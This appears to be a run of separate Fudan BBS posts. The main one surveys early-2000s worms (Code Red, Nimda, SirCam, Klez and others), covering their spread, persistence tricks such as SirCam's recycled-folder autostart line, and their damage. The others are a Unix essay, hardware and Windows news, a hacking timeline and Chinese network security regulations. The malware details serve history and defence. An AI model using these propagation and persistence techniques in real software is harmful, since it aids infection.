·再后来就出现有更多的网络蠕虫。譬如，红色代码，蓝色代码、求职者病毒、尼姆达 （Nimda）、FUN_LOVE，最近还在流行的新欢乐时光等等。 ·7月18日午夜，红色代码大面积暴发，被攻击的电脑数量达到35.9万台。被攻击的电脑 中44%位于美国，11%在韩国，5%在中国，其余分散在世界各地。 7月19日， “红色代码”病毒开始疯狂攻击美国白宫网站，白宫网站管理员将白宫网站 从原来的IP地址转移到另外一个地址，才幸免于难。 红色代码的特点 该病毒通过微软公司IIS系统漏洞进行感染，它使IIS服务程序处理请求数据包时溢 出，导致把此“数据包”当作代码运行，病毒驻留后再次通过此漏洞感染其它服务器。 它只存在于内存，传染时借助这个服务器的网络连接攻击其它的服务器，直接从一 台电脑内存传到另一台电脑内存。 它所造成的破坏主要是涂改网页,对网络上的其它服务器进行攻击，被攻击的服务器 又可以继续攻击其它服务器。 在每月的20-27日，向美国白宫网站发动攻击。 将WWW英文站点改写为“Hello! Welcome to www.Worm.com! Hacked by Chinese!”。 ·7月31日，格林尼治时间午夜整点，“红色代码II ”爆发，在全球大面积蔓延 。 据统计： 红色代码发作的行业集中在计算机信息行业和网站，约占70-80% 其次就是企事业单位，包括学校，政府机构等，约占20%-30%。 其中北京地区发作最为严重，约占80%。 红色代码II 特点 具有红色代码的特点 可以攻击任何语言的系统。 在遭到攻击的机器上植入“特洛伊木马”，拥有极强的可扩充性。 未感染则注册Atom并创建300个病毒线程。 当判断到系统默认的语言ID是中华人民共和国或中国台湾时，线程数猛增到600个。 IP随机数发生器产生用于病毒感染的目标电脑IP地址。(40万/天） 当病毒在判断日期大于2002年10月时，会立刻强行重启计算机 红色代码造成的危害 网络性能急剧下降，路由器、交换机等网络设备负载加重，甚至崩溃等。 硬盘数据能够被远程读写 直接经济损失：26亿美元 ·2001年9月18日出现的尼姆达病毒 2001年最为凶猛的恶意蠕虫病毒，岂今为止已给全球带来不可估量的经济损失。 该病毒不仅传播速度快、危害性强，而且自我繁殖能力更是位居各大病毒之首。 已有五种新变种相继粉墨登场，作恶不可谓不大。 利用unicode漏洞，与黑客技术相结合。 尼姆达病毒的传播过程 2001年9月18日，首先在美国出现，当天下午，有超过130，000台服务器和个人电脑 受到感染。（北美洲） 2001年9月18日晚上，在日本、香港、南韩、新加坡和中国都收到了受到感染的报告。 （亚洲） 2001年9月19日，有超过150000个公司被感染，西门子在他的网络受到渗透之后，被 迫关掉服务器。（欧洲） 尼姆达的四种传播方式 文件感染 ：尼姆达在本地机器上寻找系统中的EXE文件，并将病毒代码置入原文件 体内，从而达到对文件的感染。当用户执行像游戏一类的受感染的程序文件时，病毒就 开始传播。 邮件感染 ：尼姆达通过MAPI从邮件的客户端及本地的HTML文件中搜索邮件地址，然 后将病毒发送给这些地址。这些邮件都包含一个名为README.EXE的附件，在某些系统中 该附件能够自动执行，从而感染整个系统。 网络蠕虫 ：它还会通过扫描internet，来试图寻找www服务器，一旦找到WEB服务 器，该病毒便会利用已知的安全漏洞来感染该服务器，若感染成功，就会任意修改该站 点的WEB页，当在WEB上冲浪的用户浏览该站点时，不知不觉中便会被自动感染。 通过局域网：查找.doc文件，找到就会把自身复制到目录中命名为riched20.dll （word,notepad打开时会调用文件riched20.dll)。 ·SirCam 网络蠕虫病毒 首发于英国的恶性网络蠕虫病毒 触发日期：10月16日 病毒行为： 蠕虫将染毒机器中产生的随机文档隐藏到自身代码中； 蠕虫将删除C盘上的所有文件及文件夹，仅当系统日期格式为 D/M/Y（日/月/年）； 每次启动时蠕虫通过向c:\recycled\sircam.sys文件中添加文本使硬盘上的空余空 间被充满 当蠕虫执行8000次后，会停止执行。 直接经济损失：11.5亿美元 SirCam 病毒的传播途径 病毒传播： 1）邮件：从两种渠道获取邮件地址： 搜索下列文件：sho*., get*., hot*., *.htm并将邮件地址拷贝到%Windows%\sc??. 搜索所有驱动器，寻找*.wab文件（ Windows地址簿）并拷贝其中的邮件地址。 2）共享驱动器：搜索所有共享驱动器将蠕虫复制到该驱动器中。并： 将自身拷贝到\recycled\sirc32.exe "@win \recycled\sirc32.exe" 复制文件\Windows\rundll32.exe到\Windows\run32.exe ·求职信病毒特征 “求职信”系列变种病毒利用微软系统的漏洞，可以自动感染，无须打开附件，因 此危害性很大。 其变种具有很强的隐蔽性，可以“随机应变”地自动改换不同的邮件主题和内容， 瓦解邮件接收者的警惕性。 在邮件内部存放发送信息的一部分，这些变种病毒会伪造虚假信息，掩盖病毒的真 实来源。 能够绕开一些流行杀毒软件的监控，甚至专门针对一些杀毒软件进行攻击。 利用局域网上的共享文件夹进行传染，其传播特点类似“尼姆达”病毒。 在网络上出现的一些“求职信”变种的专杀工具，由于无法适用于所有的变种，因 此在杀除一些变种病毒时，会连病毒带文件一同删除，结果造成杀病毒把电脑一起“杀 死”的情况。 ·“中国黑客”介绍 2002年6月6日，“中国黑客”病毒出现，它发明了全球首创的“三线程”技术。 主线程：往硬盘写入病毒文件或感染其他执行文件。 分线程1：监视主线程并保证主线程的运行，一旦主线程被清除，这个监视器就将主 病毒体再次调入。 分线程2：不断监视注册表的某个值（run项），一旦被人工或反病毒软件修改，他 立即重新写入这个值，保证自己下次启动时拿到控制权。 “中国黑客”病毒的特点 很多反病毒软件一般都是直接修改会引起病毒自动加载的注册表选项，但是它没有 注意到这个病毒马上又将这个值改回去了。 这一次在注册表实时保护方面，大多数杀毒软件又落在了病毒的后面。 在传播方式上，“中国黑客”寻找用户邮件地址薄来向外发病毒邮件传播，或通过 局域网传播，这一点与求职信病毒非常相似。 另外，在Windows 95/98/Me系统下，“中国黑客”病毒学习了CIH病毒，它取得了系 统的最高权限。 此外，“中国黑客”病毒还预留了接口，只要作者愿意的话很多破坏功能与传播方 式很快就可以加上。 还有，病毒体内的感染开关没有打开，所以目前此病毒还不能感染文件，但实际上 病毒体内的感染代码已经比较完整，加上几行代码就可以实现感染Windows下的.EXE、 .DLL、.SCR等文件。 我们得到的教训 从“中国黑客”等一系列病毒可以看出： 未来凡能造成重大危害的，一定是“蠕虫”。“蠕虫”的特征是快速地不断复制自 身，以求在最短的时间内传播到最大范围。 从Sircam、“尼姆达”、“求职信”、“中文求职信”到“中国黑客”，这类病毒 越来越向轻感染文件、重复制自身的方向发展。 未来病毒与反病毒之间比的就是速度，而增强对新病毒的反应和处理速度，将成为 反病毒厂商的核心竞争力之一。 计算机病毒的种类和数量 Dos病毒 40000多种 Win9x病毒 600多种 winnt/win2000病毒 200多种 Word宏病毒 7500多种 excel宏病毒 1500多种 powerpoint 病毒 100多种 Script脚本病毒 500多种 macintos苹果机病毒 50种 linux 病毒 5种 手机病毒 2种 合计 550000多种 （2000年12月统计数据） 当今的几种典型反病毒技术 ·特征值技术 ·虚拟机技术 ·启发式扫描技术 ·计算机病毒疫苗 病毒的发展趋势和对策 从以上病毒的发展过程我们可以看出病毒有如下的发展趋势： ·病毒向有智能和有目的的方向发展 ·病毒开始与黑客技术结合 ·病毒的大面积传播与网络的发展密不可分 ·基于分布式通信的病毒很可能在不久即将出现 在网络的环境下单机杀毒已经不是解决病毒问题的好方法 我们应该采取什么样的对策呢？ 杀毒只是一种被动的方式，防毒才是对付计算机病毒的积极而又有效的措施 。 在网络高速发展的今天，绝大多数具有影响力的病毒都是通过网络传播的，所以网 络安全管理成为很重要的一环。 加强网络防病毒最大优势在于网络管理功能，如果没有网络管理功能，很难完成网 络防毒的任务。 多层防御可以将病毒检测、多层数据保护和集中式管理功能全部集成在一起，形成 多层防御体系。 任何一种反病毒的解决方案都应既具有稳健的病毒检测功能，又具有客户机/服务器 数据保护功能，也就是覆盖全网的多层次方法。 总结 如今计算机独自解决病毒问题已经非常不可取，这已经不是网络应用环境下的现代 企业的防范措施。 我们应该在个人计算机的硬件和软件、LAN服务器、服务器上的网点、在Internet及 Internet的Website上，用防火墙，网络安全监视器，层层设防，对每种病毒都实行隔离、 过滤。 同时我们应该可以再后台实时进行监控，一旦发现病毒，随时消灭，并且前端的用 户根本就没有感应，甚至根本不知道杀毒的过程。 我们认为这才是比较科学的全面的解决方案。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.85.32.100] ※ 修改:·Hyoga 於 01月04日15:07:48 修改本文·[FROM: 10.85.32.100] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- HackerVsSecurity精华区文章阅读 -------------------------------------------------------------------------------- 发信人: moneygg (静心则凉), 信区: HackerVsSecurity 标 题: UNIX及黑客入门的探索以思考（转载） 发信站: 日月光华站 (Wed Oct 31 10:54:43 2001) , 站内信件 发信人: scz (小四), 信区: Security 标 题: UNIX及黑客入门的探索与思考(转载) 发信站: 武汉白云黄鹤站 (Mon Jun 5 14:15:00 2000), 站内信件 无边落木： Unix从来都是真正博大精深的东西，活到老学到老用在Unix上再恰当不过。 每个企图在这条道路上前进的疯子，都需要一种动力，对于某些人来说，那 是对绝对黑暗的向往，对于有些人来说，那是对群山之巅的攀登，永远达不 到的境界正是这种追求的乐趣所在。于是你不再寂寞不再孤独，因为你发现 总有一些看似孤独寂寞的路人与你同行，也许最初他们都很忙于前进，可是 他们也会孤独也会寂寞，就象你突然在半途中感觉到的那样，他们也会偶尔 停下，看看稍微落伍于他的你，也许不经意间在你跌落尘埃的某个瞬间，他 有力的肩膀托住了你，他那似乎永远不会绽开笑容的脸居然向你投来诧异的 目光，从你身上他能看到曾经年轻的自己，于是你们会成为伙伴，成为朋友， 在这条再也无法回头的不归之路上一同前行。那是不需要言语的默契，那是 一种苍凉、一种对岁月的感慨以及还能见到些须路人的欣慰。那一天总会到 来，你无法继续前行，无法追寻前人的足迹，你缓缓坐下，让自己已不堪重 负的身躯得到最后的休息，回首无尽的苍凉，你根本无法理解自己做了什么 又想得到什么，在这种不再思考的夕辉中永远睡去----Unix程序员的最后宿 命。 -- 北风又传来熟悉的声音， 刹那间让我突然觉得好冷， 仿佛在告诉我走的太远， 有没有忘记最初的相约. ※ 修改:·moneygg 於 Oct 31 10:55:10 修改本文·[FROM: 211.96.233.1] ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 211.96.233.1] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
发信人: Tortoise (黑子), 信区: Network 标 题: .三星发布11M无线LAN卡 发信站: 日月光华站 (Tue Nov 16 12:00:45 1999) , 转信 　　三星电机已开发出全球最高水准的11Mbps级无线LAN（局域网）卡 ，目前并已接获电脑大厂Compaq 20万片（相当於2,000万美元）的订 单。同时，该公司在20Mbps级无线LAN的开发，也已接近完成阶段，并 计划在2001年开发25Mbps级的产品。三星电机此次开发的无线LAN卡， 支援国际标准IEE802.11b规格。 -- 想跟我赛跑？哼！ ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 203.95.7.172]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jalico (轼议), 信区: MS_Windows 标 题: 令人激动的 Windows 2000 发信站: 日月光华站 (修改：Wed Jun 16 10:34:03 1999), WWW-POST@131.107.3.77 Windows 2000还一直处在测试阶段. 但我还是建议大家不妨可以试用一 下. 她的令人激动的崭新魅力相信会打动用户的. 多语种支持: Windows 2000的多语种支持是一项技术飞跃. 用户可以通 过安装语言模块将系统变成所需的语言版本. 也就是说, 用户可以让自己 的系统在中文, 英文甚至日文之间自由来回切换. 在中文模式下, 可以 运行绝大多数以前只能在中文平台下运行的软件. Active Directory: 引进了Forest, Tree等概念. 将网络资源结构化 FAT32 Support: 很多人关心的事情. DirectX Support: 支持Win98模式的DirectX. 所以大家不用担心由于 W2K的内核是NT所造成的"游戏"不兼容性. 事实上, W2K 100%兼容WinNT 4.0, 99%兼容Win98 . MSC 插件: 又是新东西. 不过建议编程人员好好留意以下. 这是将来的 发展趋势. 还有很多其他功能. 不一一介绍了. 另外, 需要指出的是: Windows 2000还是主要支持Intel 的32位系统. 她的最低要求是: 1) MMX 166 or Compatible, 80M RAM or 2) MMX 200 or Compatible, 64M RAM -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: WWW-POST@131.107.3.7] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- HackerVsSecurity精华区文章阅读 -------------------------------------------------------------------------------- 发信人: sumsun (Soso:"I hate awp!"), 信区: HackerVsSecurity 标 题: 附录一:网络黑客大事记 发信站: 日月光华站 (Tue Dec 4 21:16:36 2001) , 站内信件 20世纪50年代，早期黑客诞生于麻省理工学院实验室。早期黑客都受过优良教育， 他们通宵达旦在实验室操作机器。 　　60年代早期，拥有巨型计算机的大学电脑设施成为黑客初显身手的舞台。最初“黑 客”（HACKER）是褒义词，指那些尽力挖掘计算机程序的最大潜力的电脑精英。 　　70年代，一批当年北美大学生运动的领袖，西海岸反越战活动的积极分子，争民权 的斗士渐渐参加了黑客队伍。黑客提倡了一场个人计算机革命，提出“计算机为人民所 用”的观点。领头人为苹果公司创建人史蒂夫·乔布斯。 　　1979年，年仅15岁的凯文·米特尼克仅凭一台电脑和一部调制解调器闯入了北美空 中防务指挥部的计算机主机。 　　1983年，美国联邦调查局首次逮捕了6名少年黑客，这6名少年黑客被控侵入60多台 电脑，其中包括斯洛恩·凯特林癌症纪念中心和洛斯阿拉莫斯国家实验室。 　　1987年，美联邦执法部门指控16岁的赫尔伯特·齐恩闯入美国电话电报公司的内部 网络和中心交换系统。齐思是美国1986年“计算机欺诈与滥用法案”生效后被判有罪的 第一人。 　　1988年，美康奈尔大学研究生罗伯特，莫里斯向互联网传了一个蠕虫程序，感染了 6000多个系统——几乎占当时互联网的十分之一。同年，在发现有黑客入侵军事网的一 部联网电脑后，美国国防部切断了非保密军事网与阿帕网（早期互联网）之间的物理连 接。 　　1989年，5名西德电脑间谍入侵美国政府和大学电脑网络。最后这五名西德人以间谍 罪被逮捕起诉，其中3人被控向苏联克格勃出售他们所获情报。 　　1990年，“‘末日军团”（美一黑客组织）的4名成员因盗窃贝尔公司的911紧急电 话网络的技术秘密而被逮捕。4名黑客中有3人被判有罪。 　　1991年，美国国会总审计署宣布在海湾战争期间，几个荷兰少年黑客侵入国防部的 计算机，修改或复制了一些非保密的与战争相关的敏感情报，包括军事人员、运往海湾 的军事装备和重要武器装备开发情况等。 　　1992年，“欺骗大师”（纽约市一少年黑客组织）因入侵美国电话电报公司、美国 银行和TRW公司及国家安全局的计算机系统而被判有罪。 　　1994年，格里菲斯空军基地和美国航空航天局的电脑网络受到两名黑客的攻击。同 年，一名黑客用一个很容易得到的密码发现了英国女王、梅杰首相和其他几位军情五处 高官的电话号码，并把这些号码公布在互联网上。 　　1995年，“世界头号电脑黑客”凯文·米特尼克被捕。他被指控闯入许多电脑网络 ，包括入侵北美空中防务体系、美国国防部，偷窃了2万个信用号卡和复制软件。同年， 俄罗斯黑客列文在英国被捕。他被控用笔记本电脑从纽约花旗银行非法转移至少370万美 元到世界各地由他和他的同党控制的账户。 　　1998年，美国防部宣称黑客向五角大楼网站发动了“有史以来最大规模、最系统性 的攻击行动”，打入了许多政府非保密性的敏感电脑网络，查询并修改了工资报表和人 员数据。不久，警方抓获了两名加州少年黑客。三个星期后，美国警方宣布以色列少年 黑客“分析家”被抓获。同年，马萨诸塞州伍切斯特机场导航系统因一名少年黑客入侵 而中断6小时。8月份，中国黑客大行动，抗议印尼对华人暴行。同年，因入侵银行计算 机系统，中国镇江两黑客郝景龙、郝景文被判死刑。 　　1999年5月一月，美国参议院、白宫和美国陆军网络以及数十个政府网站都被黑客攻 陷。同时，因北约导弹袭击中国驻南斯拉夫联盟使馆，中国黑客群体出击美国网站以示 抗议。 　　2000年2月，在三天时间里，黑客使美国数家顶级互联网站——雅虎、亚马逊、电子 港湾、CNN陷入瘫痪。黑客使用了一种称作“拒绝服务式”的攻击手段，即用大量无用信 息阻塞网站的服务器，使其不能提供正常服务。 　　同月，日本右翼分子举行集会，企图否认南京大屠杀暴行，引起中国黑客愤慨，中 国黑客连番袭击日本网站。 　　2月8日——9日，中国最大网站新浪网招致黑客长达18小时的袭击，其电子邮箱完全 陷入瘫痪。 附录二 中华人民共和国计算机信息系统安全保护条例 （1994年2月18日国务院第147号令） 　　第一章 总则 　　第一条，为了保护计算机系统的安全，促进计算机的应用和发展，保障社会主义现 代化建设的顺利进行，制定本条例。 　　第二条，本条例所称的计算机信息系统，是指由计算机及其相关的和配套的设备、 设施（含网络）构成的，按照一定的使用目标和规则对信息进行采集、加工、存储、传 输。检索等处理的人机系统。 　　第三条，计算机信息系统的安全保护，应当保障计算机及其相关的和配套的设备、 设施（含网络）的安全，保障运行环境的安全，保障信息的安全，保障计算机功能的正 常发挥，以维护计算机信息系统的安全运行。 　　第四条，计算机信息系统的安全保护工作。重点维护国家事务、经济建设、国防建 设、尖端科学技术等重要领域的计算机信息系统的安全。 　　第五条，中华人民共和国境内的计算机信息系统的安全保护，适用本条例。 　　未联网的微型计算机的安全保护办法，另行制定。 　　第六条，公安部主管全国计算机信息系统安全保护工作。国家安全部、国家保密局 和国务院其他有关部门，在国务院规定的职责范围内做好计算机信息系统安全保护的有 关工作。 　　第七条，任何组织或者个人，不得利用计算机信息系统从事危害国家利益、集体利 益和公民合法利益的活动，不得危害计算机信息系统的安全。 　　第二章 安全保护制度 　　第八条，计算机信息系统的建设和应用，应当遵守法律、行政法规和国家其他有关 规定。 　　第九条，计算机信息系统实行安全等级保护。安全等级的划分标准和安全等级保护 的具体办法，由公安部会同有关部门制定。 　　第十条，计算机机房应当符合国家标准和国家有关规定。 　　在计算机机房附近施工，不得危害计算机信息系统的安全。 　　第十一条，进行国际联网的计算机信息系统，由计算机信息系统的使用单位报省级 以上人民政府公安机关备案。 　　第十二条，运输、携带、邮寄计算机信息媒体进出境的，应当如实向海关申报。 　　第十三条，计算机信息系统的使用单位应当建立健全安全管理制度，负责本单位计 算机信息系统的安全保护工作。 　　第十四条，对计算机信息系统中发生的案件，有关使用单位应当在24小时内向当地 县级以上人民政府公安机关报上口O 　　第十五条，对计算机病毒和危害社会公共安全的其他有害数据的防治研究工作，由 公安部归口管理。 　　第十六条，国家对计算机信息系统安全专用产品销售实行许可证制度。具体办法由 公安部会同有关部门制定。 　　第三章 安全监督 　　第十七条，公安机关对计算机信息系统安全保护工作行使下列监督职权： 　　（一）监督、检查、指导计算机信息系统安全保护工作； 　　（二）查处危害计算机信息系统安全的违法犯罪案件； 　　（三）履行计算机信息系统安全保护工作的其他监督职责。 　　第十八条，公安机关发现影响计算机信息系统安全的隐患时，应当及时通知使用单 位采取安全保护措施。 　　第十九条，公安部在紧急情况下，可以就涉及计算机信息系统安全的特定事项发布 专项通令。 　　第四章 法律责任 　　第二十条，违反本条例的规定，有下列行为之一的，由公安机关处以警告或者停机 整顿： 　　（一）违反计算机信息系统安全等级保护制度，危害计算机信息系统安全的； 　　（二）违反计算机信息系统国际联网备案制度的； 　　（三）不按照规定时间报告计算机信息系统中发生的案件的； 　　（四）接到公安机关要求改进安全状况的通知后，在限期内拒不改进的； 　　（五）有危害计算机信息系统安全的其他行为的。 　　第二十一条，计算机机房不符合国家标准和国家其他有关规定的，或者在计算机机 房附近施工危害计算机信息系统安全的，由公安机关会同有关单位进行处理。 　　第二十二条，运输、携带、邮寄计算机信息媒体进出境，不如实向海关申报的，由 海关依照《中华人民共和国海关法》和本条例以及其他有关法律、法规的规定处理。 　　第二十三条，故意输入计算机病毒以及其他有害数据危害计算机信息系统安全的， 或者未经许可出售计算机信息系统安全专用产品的，由公安机关处以警告或者对个人处 以5000元以下的罚款、对单位处以15000元以下的罚款；有违法所得的，除予以没收外， 可以处以违法所得1至3倍的罚款。 　　第二十四条，违反本条例的规定，构成违反治安处理行为的，依照《中华人民共和 国治安管理处罚条例》的有关规定处罚；构成犯罪的、依法追究刑事责任。 　　第二十五条，任何组织或者个人违反本条例的规定，给国家、集体或者他人财产造 成损失的，应当依法承担民事责任。 　　第二十六条，当事人对公安机关依照本条例所做出的具体行政行为不服的，可以依 法申请行政复议或者提起行政诉讼。 　　第二十七条，执行本条例的国家公务员利用职权，索取、收受贿赂或者有其他违法 、失职行为，构成犯罪的，依法追究刑事责任；尚不构成犯罪的，给予行政处分。 　　第五章 附则 　　第二十八条，本条例下列用语的含义： 　　计算机病毒，是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据， 影响计算机使用，并能自我复制的一组计算机指令或者程序代码。 　　计算机信息系统安全专用产品，是指用于保护计算机信息系统安全的硬件和软件产 品。 　　第二十九条，军队的计算机信息系统安全保护工作，按照军队的有关法规执行。 　　第三十条，公安部可以根据本条例制定实施办法。 　　第三十一条，本条例自发布之日起施行。 附录三 中华人民共和国计算机信息网络国际联网管理暂行规定 （1997年5月20日修正） 　　第一条，为了加强对计算机信息网络国际联网的管理，保障国际计算机信息交流的 健康发展，制定本规定。 　　第二条，中华人民共和国境内的计算机信息网络进行国际联网，应当依照本规定办 理。 　　第三条，本规定下列用语的含义是： 　　（一）计算机信息网络国际联网（以下简称国际联网），是指中华人民共和国境内 的计算机信息网络为实现信息的国际交流，同外国的计算机信息网络相联接。 　　（二）互联网络，是指直接进行国际联网的计算机信息网络；互联单位，是指负责 网络运行的单位。 　　（三）接入网络，是指通过接人互联网络进行国际联网的计算机信息网络；接入单 位，是指负责接入网络运行的单位。 　　第四条，国家对国际联网实行统筹规划、统一标准、分级管理、促进发展的原则。 　　第五条，国务院信息化工作领导小组（以下简称领导小组），负责协调、解决有关 国际联网工作中的重大问题。 　　领导小组办公室按照本规定制定具体管理办法，明确国际出人口信道提供单位、互 联单位、接入单位和用户的权利、义务和责任，并负责对国际联网工作的检查监督。 　　第六条，计算机信息网络直接进行国际联网，必须使用邮电部国家公用电信网提供 的国际出人口信道。 　　任何单位和个人不得自行建立或者使用其他信道进行国际联网。 　　第七条，已经建立的互联网络，根据国务院有关规定调整后，分别由邮电部、电子 工业部、国家教育委员会和中国科学院管理。 　　新建互联网络，必须报经国务院批准。 　　第八条，接入网络必须通过互联网络进行国际联网。 　　接人单位拟从事国际联网经营活动的，应当向有权受理从事国际联网经营活动申请 的互联单位主管部门或者主管单位申请领取国际联网经营许可证；未取得国际联网经营 许可证的，不得从事国际联网经营业务。 　　接入单位拟从事非经营活动的，应当报经有权受理从事非经营活动申请的互联单位 主管部门或者主管单位审批；未经批准的，不得接人互联网络进行国际联网。 　　申请领取国际联网经营许可证或者办理审批手续时，应当提供其计算机信息网络的 性质、应用范围和主机地址等资料。 　　国际联网经营许可证的格式，由领导小组统一制定。 　　第九条，从事国际联网经营活动的和从事非经营活动的接人单位都必须具备下列条 件： 　　（－）是依法设立的企业法人或者事业法人； 　　（二）具有相应的计算机信息网络、装备以及相应的技术人员和管理人员； 　　（三）具有健全的安全保密管理制度和技术保护措施； 　　（四）符合法律和国务院规定的其他条件。 　　接入单位从事国际联网经营活动的，除必须具备本条前款规定条件外，还应当具备 为用户提供长期服务的能力。 　　从事国际联网经营活动的接入单位的情况发生变化，不再符合本条第一款、第二款 规定条件的，其国际联网经营许可证由发证机构予以吊销；从事非经营活动的接人单位 的情况发生变化，不再符合本条第一款规定条件的，其国际联网资格由审批机构予以取 消。 　　第十条，个人、法人和其他组织（以下统称用户）使用的计算机或者计算机信息网 络，需要进行国际联网的，必须通过接人网络进行国际联网。 　　前款规定的计算机或者计算机信息网络，需要接入网络的，应当征得接入单位的同 意，并办理登记手续。 　　第十一条，国际出人口信道提供单位、互联单位和接人单位，应当建立相应的网络 管理中心，依照法律和国家有关规定加强对本单位及其用户的管理，做好网络信息安全 管理工作，确保为用户提供良好、安全的服务。 　　第十二条，互联单位与接人单位，应当负责本单位及其用户有关国际联网的技术培 训和管理教育工作。 　　第十三条，从事国际联网业务的单位和个人，应当遵守国家有关法律、行政法规， 严格执行安全保密制度，不得利用国际联网从事危害国家安全、泄露国家秘密等违法犯 罪活动，不得制作、查阅、复制和传播妨碍社会治安的信息和淫秽色情等信息。 　　第十四条，违反本规定第六条、第八条和第十条的规定的，由公安机关责令停止联 网，给予警告，可以并处15000元以下的罚款；有违法所得的，没收违法所得。 　　第十五条，违反本规定，同时触犯其他有关法律。行政法规的，依照有关法律、行 政法规的规定予以处罚；构成犯罪的，依法追究刑事责任。 　　第十六条，与台湾、香港、澳门地区的计算机信息网络的联网，参照本规定执行。 　　第十七条，本规定自发布之日起施行。 附录 四中华人民共和国计算机信息网络国际联网安全保护管理办法 （1997年12月30日公安部发布） 　　第一章 总则 　　第一条，为了加强对计算机信息网络国际联网的安全保护，维护公共秩序和社会稳 定，根据《中华人民共和国计算机信息系统安全保护条例》、《中华人民共和国计算机 信息网络国际联网管理暂行规定》和其他法律、行政法规的规定，制定本办法。 　　第二条，中华人民共和国境内的计算机信息网络国际联网安全保护管理，适用本办 法。 　　第三条，公安部计算机管理监察机构负责计算机信息网络国际联网的安全保护管理 工作。 　　公安机关计算机管理监察机构负责计算机信息网络国际联网的安全，维护从事国际 联网业务的单位和个人的合法权益和公众利益。 　　第四条，任何单位和个人不得利用国际联网危害国家安全、泄露国家秘密，不得侵 犯国家的、社会的、集体的利益和公民的合法权益，不得从事违法犯罪活动。 　　第五条，任何单位和个人不得利用国际联网制作、复制、查阅和传播下列信息： 　　（一）煽动抗拒、破坏宪法和法律、行政法规实施的； 　　（二）煽动颠覆国家政权、推翻社会主义制度的； 　　（三）煽动分裂国家、破坏国家统一的； 　　（四）煽动民族仇恨、民族歧视，破坏民族团结的； 　　（五）捏造或者歪曲事实，散布谣言，扰乱社会秩序的； 　　（六）宣扬封建迷信、淫秽、色情、赌博、暴力、凶杀、恐怖，教唆犯罪的； 　　（七）公然侮辱他人或者捏造事实诽谤他人的； 　　（八）损害国家信誉的； 　　（九）其他违反宪法和法律、行政法规的。 　　第六条，任何单位和个人不得从事下列危害计算机信息网络安全的活动： 　　（一）未经允许，进入计算机信息网络或者使用计算机信息网络资源的； 　　（二）未经允许，对计算机信息网络功能进行删除、修改或者增加的； 　　（三）未经允许，对计算机信息网络中存储、处理或者传输的数据和应用程序进行 删除、修改或者增加的； 　　（四）故意制作、传播计算机病毒等破坏性程序的； 　　（五）其他危害计算机信息网络安全的。 　　第七条，用户的通信自由和通信秘密受法律保护。任何单位和个人不得违反法律规 定，利用国际联网侵犯用户的通信自由和通信秘密。 　　第二章 安全保护责任 　　第八条，从事国际联网业务单位和个人应当接受公安机关的安全监督、检查和指导 ，如实向公安机关提供有关安全保护的信息、资料及数据文件，协同公安机关查处通过 国际联网的计算机信息网络的违法犯罪行为。 　　第九条，国际出人口信道提供单位、互联单位和主管部门或者主管单位，应当依照 法律和国家有关规定负责国际出入口信道、所属互联网络的安全保护管理工作。 　　第十条，互联单位、接入单位及使用计算机信息网络国际联网的法人和其他组织应 当履行下列安全保护职责： 　　（一）负责本网络的安全保护管理工作，建立健全安全保护制度； 　　（二）落实安全保护技术措施，保障本网络的运行安全和信息安全； 　　（三）负责对本网络用户的安全教育和培训； 　　（四）对委托发布信息的单位和个人进行登记，并对所提供的信息内容按照本办法 第五条进行审核； 　　（五）建立计算机信息网络电子公告系统的用户登记和信息管理制度； 　　（六）发现有本办法第四条、第五条、第六条、第七条所列情形之一的，应当保留 有关原始记录，并在二十四小时内向当地公安机关报告； 　　（七）按照国家有关规定，删除本网络中含有本办法第五条内容的地址、目录或者 关闭服务器。 　　第十一条，用户在接入单位办理入网手续时，应当填写用户备案表，备案表由公安 部监制。 　　第十二条，互联单位、接人单位、使用计算机信息网络国际联网的法人和其他组织 （包括跨省、自治区、直辖市联网的单位和所属的分支机构），应当自网络正式联通之 日起三十日内，到所在地的省、自治区、直辖市人民政府公安机关指定的受理机关办理 备案手续。前款所列单位应当负责将接入本网络的接人单位和用户情况报当地公安机关 备案，并及时报告本网络中接人单位和用户的变更情况。 　　第十三条，使用公用账号的注册者应当加强对公用账号的管理，建立账号使用登记 制度。用户账号不得转借、转让。 　　第十四条，涉及国家事务、经济建设、国防建设、尖端科学技术等重要领域的单位 办理备案手续时，应当出具其行政主管部门的审批证明。 　　前款所列单位的计算机信息网络与国际联网，应当采取相应的安全保护措施。 　　第三章 安全监督 　　第十五条，省、自治区、直辖市公安厅（局），地、县公安局，应当有相应机构负 责国际联网的安全保护管理工作。 　　第十六条，公安机关计算机管理监察机构应当掌握互联单位、接入单位和用户的备 案情况，建立备案档案，进行备案统计，并按照国家有关规定逐级上报。 　　第十七条，公安机关计算机管理监察机构应当督促互联单位、接入单位及有关用户 建立健全安全保护管理制度。监督、检查网络安全保护管理以及技术措施的落实情况。 　　公安机关计算机管理监察机构在组织安全检查时，有关单位应当派人参加。公安机 关计算机管理监察机构发现的问题，应当提出改进意见，做出详细记录，存档备查。 　　第十八条，公安机关计算机管理监察机构发现含有本办法第五条所列的地址、目录 或者服务器时，应当通知有关部门或者删除。 　　第十九条，公安机关计算机管理监察机构应当负责追踪和查处通过计算机信息网络 的违法行为和针对计算机信息网络的犯罪案件，对违反本办法第四条、第七条规定的违 法犯罪行为，应当按照国家有关规定移送有关部门或者司法机关处理。 　　第四章 法律责任 　　第二十条，违反法律、行政法规，有本办法第五条、第六条所列行为之一的，由公 安机关给予警告，有违法所得的，没收违法所得，对个人可以并处五千元以下的罚款， 对单位可以并处一万五千元以下的罚款；情节严重的，并可以给六个月以内停止联网、 停机整顿的处罚，必要时可以建议原发证、审批机构吊销经营许可证或者取消联网资格 ；构成违法乱纪治安管理行为的，依照治安管理处罚条例的规定处罚；构成犯罪的，依 法追究刑事责任。 　　第二十一条，有下列行为之一的，由公安机关责令限期改正，给予警告，有违法所 得的，没收违法所得；在规定的限期内未改正的，对单位的主管负责人员和其他直接责 任人员可以并处五千元以下的罚款，对单位可以并处一万五千元以下的罚款；情节严重 的，并可以给六个月以内的停止联网、停机整顿的处罚，必要时可以建议原发证、．审 批机构吊销经营许可证或者取消联网资格。 　　